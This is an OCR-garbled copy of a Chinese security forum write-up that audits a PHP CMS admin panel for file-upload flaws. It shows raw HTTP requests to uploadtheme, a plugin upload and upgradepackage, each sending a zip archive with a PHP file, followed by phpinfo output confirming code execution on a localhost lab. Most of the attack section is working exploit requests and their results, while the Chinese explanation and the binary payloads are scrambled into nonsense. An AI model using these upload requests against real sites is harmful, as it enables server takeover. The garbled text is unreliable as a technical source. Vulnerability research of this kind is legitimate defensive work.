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5IF CMS B TH#/1, 1RIE CNVD EATHHIREETE 1day, B2
BEFMBRKR T, AEELERNK, BERARELD, MXEBETE, EFE T CMS, 2 3—F&HN, RTFEREER
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upload-getshell

AFE®E -> T AGR (fail)
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MRATKYF, BORGEERINFAIENRERE&

SRFEXH LEFEN, TEMEMER LE, BMIEEaREBHITXE L1289

POST /index.php/admin/index/uploadimage HTTP/1.1

Host: Tost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=--------------eeemeee—----270958402534872351511268674074
Content-Length: 71964

https://forum.butian.net/share/907

HTTP/1.1 200 OK

Date: Thu, 18 Nov 2021 01:59:32 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/7.0.12

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Connection: close

Content-Type: text/html; charset=UTF-8
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Onigin: http://localhost

Connection: close

Referer: http://localhost/index.php/admin/index/personal.html

Cookie: workspaceParam=welcome%7ClIndex; yuyuelang=zh-cn; PHPSESSID=utce61jeq73k9pcbc8engkha85
Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

e o= 270058402534 872351511 268674074
Content-Disposition: form-data; name="file"; flename="test.jpg"
Content-Type: image/jpeg
OooooJFIFDOO0OHOHOOOOocoooooo ooo

00000000000! 0000# 2*#%/%00+;,/35888!"=A<6A2785000CO

Content-Length: 58

data/uploads/20211118/f6d8768fdf 3bb2fffad0101ee6648aec.jpg

(https://shs3.b.qgianxin.com/attack_forum/2021/11/attach-b34d5ba88f40f6a3141befd6aaad31af9efb7f0d.png)

RIE L ENBRREMICIEUE

admin/controller/Index.php#4032
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One match
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(https://shs3.b.qgianxin.com/attack_forum/2021/11/attach—-08b9de5e6e3168aaeeb6cde7479bdcc9017ee8¢0.png)

BARSWIERAIUL—TRIL, ZFEA request 7IARIREX file EMLFINER, AIUNBRIXEEE LENRARE; #5
BRAT filet B9 validate 730%, IR¥E, REHMRE/T, KMRABRE T LEXHONAN; ZEERZEBH nove 7
&, KE—TMUB, BREAEFEE

public function move($path, $savename = true, $replace = true)

MARIBRIABRIANE LEHEE, SEEIRE false ; HERWAETR isvalid HIENXHEELHITRE, REENE
R check 777%, RENXHRERNRILBREHKERE svalidate HH, XBIKBEDEHTHRT

EREET upload BXRIREE, RIEHMTHRBRE, BERLETAE, BLAMEEET LEEREEHRAE
getshell BT, FE=TH#EMKIN getshell R, BRTHRE—THIEM MEREEREH

REIRE

FELEZAERERERN zip BXNE, BEFAFENEREEATHITRERNGE, HET=TKRE, —LH
uploadtheme PRIEL, MISFXINEBM LIEMIINEER; H—N upgrading KL, WE—N pluginlist 737k, FTHREBEDL
(5

RNIRE -> ¥R (success)
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uploadtheme ()

(https://shs3.b.qgianxin.com/attack_forum/2021/11/attach—-f5f02e04a6ff304616823bd4d95fe552f0d1df7¢c.png)

NABEHRZEDITEN, FIX EEERESERIRBOER; ZREEXBI zipArchive 2, ZEN pHp BIREZE,
X zip [EAEXHHATHERAIRIE, XEBEEAT zipArchive 2KARY open 73i%, FEEEMIZEN overwrit e &
create ; ZIEREM extractTo ik, ZAEFERNHRERIIECHER, BERZENRERZ
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9 /runtime/transfer/theme/zipX{t&

(https://shs3.b.qgianxin.com/attack_forum/2021/11/attach—fb28c3fddc87600816ada0f63ab4684ee2b30143.png)

POST /index.php/admin/index/uploadtheme HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: *f*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary= 61892826940153563153275250174
Content-Length: 71759

Origin: http://localhost

Connection: close

D afmrnre bbin s Hlamnlhmmbfim Al avs b da disis fim A e bl asmnms babial

https://forum.butian.net/share/907

D

HTTP/1.1 200 OK

Date: Thu, 18 Nov 2021 07:20:33 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/7.0.12

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 69

PR L AL P
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Cookie: PHPSESSID=utce61jeq73k9pcbcBengkha85; yuyuelang=zh-cn
Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

61892826940153563153275250174

Content-Disposition: form-data; name="file"; filename="tt.zip"
Content-Type: application/x-zip-compressed

PKOO
000000rSO000000000000000t/PKO0O0000000rS+00<000000000000tt/1.phpo/
0(0000yi0O0OOOOPKOOOOO00000S600(0000000000 0tk test jpg0y8TO0?0Y0OuO0
O0000001d_0o0PO00"0Z0%0KO0END$0000>00wD0\go o0

RELEZEIEENER TEERNRARINEELE 2 FRH;
B2, ERBETHRE T LERERZFRISMEE, ML) getshell

/public/theme/tt

C ¢ @ localhost/public/theme/tt/1.php

duMYle) w
| string(38) "D:\phpStudy\WWW\runtime\transfer\theme™
ok|

(https://shs3.b.qgianxin.com/attack_forum/2021/11/attach-8265821841386e15b535d04d6a042318bf1b5c70.png)

ZariRlE, BIEBRCBEMLRTEIAN theme

System Windows NT DESKTOP-6FLF098 10.0 build 18363 (Windows 10) i586

Build Date Oct 13 2016 10:44:50

Compiler MSVC14 (Visual C++ 2015)

Architecture %86

Configure Command cscript /nologo configure js "--enable-snapshot-build" "--enable-debug-pack” "--disable-zts" "--with-

pdo-oci=c\php-sdk\oracle\x86\instantclient_12_1\sdk,shared" "--with-oci8-12c=c\php-
sdk\oracle\x86\instantclient_12_1\sdkshared" "--enable-object-out-dir=../obj/" "--enable-com-
dotnet=shared" "--with-mcrypt=static" "--without-analyzer" "--with-pge”

Server API CGl/FastCGl

Virtual Directory Support disabled

Configuration File (php.ini) Path C\WINDOWS

Loaded Configuration File D\phpStudy\php\php-7.0.12-nts\php.ini
Scan this dir for additional .ini files (none)

Additional .ini files parsed (none)

PHP API 20151012

PHP Extension 20151012

https://forum.butian.net/share/907
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Zend Extension 320151012

Zend Extension Build API320151012,NTS,VC14
PHP Extension Build API20151012,NTS, VC14
Debug Build no

Thread Safety disabled

Zend Signal Handling disabled

Zend Memory Manager enabled

(https://shs3.b.qgianxin.com/attack_forum/2021/11/attach-e85697eac6bb02971a0ed928f7a408e2a01e276b.png)

MistEx —> TR (success)

admin/controller/index.php#2649
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(https://shs3.b.gianxin.com/attack_forum/2021/11/attach-0254e308a0853ef8dbe3393983e56d1ddefeb826.png)

BB checkUser HENAPNSHESITTIE, REEERTBESHTIHXIRIE

(https://shs3.b.gianxin.com/attack_forum/2021/11/attach-1c698bfbafedb4d8f9686aeeb0a635cdf34ef3dd.png)
2 [EHCAEZ4EER L HE getshell WEARZ, FAZ oY, HTFRMAEGHEFBRIOXXHERE, FRASERE R TEEIEFEN
X4R; HEZFEIXHEEEEAN /plugins/tt , tHEBENE getshell Y
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@ localhost/plugins/tt/1.php

Php

System Windows NT DESKTOP-6FLF098 10.0 build 18363 (Windows 10) i586

Build Date Oct 13 2016 10:44:50

Compiler MSVC14 (Visual C++ 2015)

Architecture x86

Configure Command cscript /nologo configure.js "--enable-snapshot-build® "--enable-debug-pack” "--disable-zts" "--with-
pdo-oci=c\php-sdk\oracle\x86\instantclient_12_1\sdk,shared" "--with-oci8-12c=c:\php-
sdk\oracle\x86\instantclient_12_1\sdk,shared" "--enable-object-out-dir=../obj/" "--enable-com-
dotnet=shared" "--with-mecrypt=static "--without-analyzer" "--with-pgo"

Server API CGl/FastCGl

Virtual Directory Support disabled

Configuration File (php.ini) Path C\WINDOWS

Loaded Configuration File

DphpStudy\phpiphp-7.0.12-nts\php.ini

Scan this dir for additional .ini files (none)
Additional .ini files parsed (none)
PHP API 20151012
PHP Extension 20151012
Zend Extension 320151012

Zend Extension Build

APIZ20151012,NTS,VC14

PHP Extension Build

API20151072,NTS VC14

Debug Build no
Thread Safety disabled
Zend Signal Handling disabled

&
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(https://shs3.b.gianxin.com/attack_forum/2021/11/attach—-0dc5ad2cbd1b06ac4d605b6b454fcacas8124834.png)

ARIRE —> REHSR (success)

admin/controller/index.php#4140 , XJL 1 LEENRBGZEEMHMOMEARS, FREREAK—, HI2EH T LENE
BEANDT, ZBEA file KPNHFENERR. ANFHITRR, RENFEARENMEER LEMIN; XEEERINZ
&, FRBRBRERRE, TRET S

upgradep

—>delFolder(

= request () >filel
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(https://shs3.b.gianxin.com/attack_forum/2021/11/attach—-a02f75cefe370f871f838ad89e2c02257d837310.png)

ZE /¥R, T(UZF admin/controller/index.php#4168 , upgrading /37%, BMRNIZMEN LENRSAREHEEFHIT
P

upgrading ()

(https://shs3.b.gianxin.com/attack_forum/2021/11/attach—d6f9c7b83de6fbf5280e5f24f64c990fd919f56f.png)

BRSEA catfish EHEY getPost 70K, RiFE, HTEANDN param FTAT, BHIERE else iZE0; BT
$param=auto , FTABEIEH NS LMY else, 1IBE S Requsest KM has FEX POST 5 KHFEE B auto SEOHT
FIRF, auto SR, MESEHIZIR[O false; XRSHINFMHEER, HETT
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trim(html speclalc

trim(Request: : in

(https://shs3.b.qgianxin.com/attack_forum/2021/11/attach-ac307bfd8b9e40824d2a6ea3dba95ea83df4f718.png)
BEIBA catfish XM get HIERMEMRXGNRE, BHZELIBIEFRHATIAE, XERNLED LEEREE,
ZiBM post FUBREIATE, EHIZFFEA upgrading 753%, ThEEISM LEEGFHIRENZIFEERZ
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(https://shs3.b.qgianxin.com/attack_forum/2021/11/attach—-63b4f8f931d7837a3269b44322bec0585874b22a.png)
TEMZIEA zipArchive [FERNEFHEHITRERIRE T, PBLAXEHEEEIEF]AKINA

(https://shs3.b.gianxin.com/attack_forum/2021/11/attach—-bec41dc3c5¢7101686938196992d62f16fa3d211.png)

ST upgradepackage 757E L&, BIAMA upgrading FIAMBIFIRENVFER B HITHEEYE
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JREW] Params IHeaders [Hex]

J Raw ] Headers l Hex [ Render ]

POST /index.php/admin/index/upgradepackage HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary= 288255988311720746263047113642
Content-Length: 71762

Origin: http://localhost

Connection: close

Referer: http://localhost/index.php/admin/index/systemupgrade.html

Cookie: yuyuelang=zh-cn; PHPSESSID=9jj6dern39d4dn8aedfiq8ujd5

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

288255988311720746263047113642
Content-Disposition: form-data; name="file"; flename="tt.zip"
Content-Type: application/x-zip-compressed

PKOO
O0O000O0rSOO00000C00000000Ot/PKOOOOOOOOOrS+00<000000000000tt/1.php0/O(0CO0
OiD0D0000PKODOOOOOOOD0S600(0ODOODOODOO  test jpgOy8TOO?0YOUDOOODOOOOOd_
000POI0OD"0Z0%0OKOOEOD$OOO00>00wOD\gO0O000>0}0000000000}000c000r000
ooo/,00/00B

002000000000000<00S86 00lin0>0'0000?/00000400000000°0Y000000I00g

4 HTTP/1.1 200 OK

) Date: Fri, 19 Nov 2021 02:26:51 GMT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mo
X-Powered-By: PHP/7.0.12

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 44

string(28) "D:\phpStudy\WWW\data\package"
ok

-
¥

A ] A N "\ | el (s Tiies m mmmaal e

(https://shs3.b.qgianxin.com/attack_forum/2021/11/attach-a97ce81550063a7f34237625ecf49b2a30454088.png)
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lent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
I

Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Encoding: gzip, deflate

ssted-With: XMLHttpRequest

-Type: multipart/form-data;

y= 288255988311720746263047113642

-Length; 71762

ittp:flocalhost

;ion; close

. http:/Mlocalhost/index.php/fadminfindex/systemupgrade.html
yuyuelang=zh-cn; PHPSESSID=9jj6dorn39d4dn8aedftq8ujd5

ch-Dest: empty

ch-Mode: cors

ch-Site: same-origin

___________________ 288255988311720746263047113642
-Disposition; form-data; name="file"; filename="tt.zip"
-Type: application/x-zip-compressed

10rSO00000000000000Ctt/PKOOO0O000O0OrS+00<000000000000tt/1.phpo/

Oyi0DOOOOPKOOOOOOOO00S600(00000000000t test.jpg0y8TOO?0YOUOD
1001d_000PO!00'0Z0%0KOOEDO$0000>00wd0\g000
1000000000 00e00Or00d 000/.00/00B

RN FEEMNIERE R TE

https://forum.butian.net/share/907

P

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fegid/2.3.

X-Powered-By: PHP/7.0.12

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 87

bool(false)
bool(false)
[string(35) "D:\phpStudy\WWW\data\package\tt.zip" ]
bool(false)

(https://shs3.b.gianxin.com/attack_forum/2021/11/attach—-1a01a43c18b718d5722015ac19788d91f9eda277.png)

15/17


https://shs3.b.qianxin.com/attack_forum/2021/11/attach-1a01a43c18b718d5722015ac19788d91f9eda277.png
https://shs3.b.qianxin.com/attack_forum/2021/11/attach-3ea7368f36fcfdd044ec67850ff61007cba50077.png

2021/11/24 F4-9:21

AERCMSH#111-J5 & A3 fF L%

https://forum.butian.net/share/907

' @ localhost/1.php

Php.

System ‘Windows NT DESKTOP-6FLF098 10.0 build 18363 (Windows 10) i586

Build Date Oct 13 2016 10:44:50

Compiler MSYC14 (Visual C++ 2015)

Architecture x86

Configure Command cscript /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack” "--disable-zts" "--with-
pdo-oci=c\php-sdkioracle\x86\instantclient_12_1\sdk,shared" "--with-oci8-12c=c\php-
sdk\oracle\x86\instantclient_12_1\sdk,shared" "--enable-object-out-dir=../obj/" "--enable-com-
dotnet=shared” "--with-mcrypt=static" "--without-analyzer" "--with-pgo"

Server API CGI/FastCGl

Virtual Directory Support disabled

Configuration File (php.ini) Path CAWINDOWS

Loaded Configuration File

DiphpStudy\php\php-7.0.12-nts\php.ini

Scan this dir for additional .ini files (none)
Additional .ini files parsed (none)
PHP API 20151012
PHP Extension 20151012
Zend Extension 320151012

Zend Extension Build

API320157012,NTS,VC14

PHP Extension Build

API20151012,NTS,VC14

Debug Build no

Thread Safety disabled
Zend Signal Handling disabled
Zend Memory Manager enabled
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ZF—RNEK, NZEREXMH L& getshell WRIKTTT, ERBZHITY, ALRBEREMBTNAZEINEF, BE
AIREE AT JAVABWCMS 7, ., &

N7, mE—LATA shell RTERERT, AIRETHEANEHE, SANEHREENXHHERE R THXEBRIEX
B3, ROZEBRIEFITHRIRME, WMEERBRERIN LEN shel HTASERBRTEFHET.
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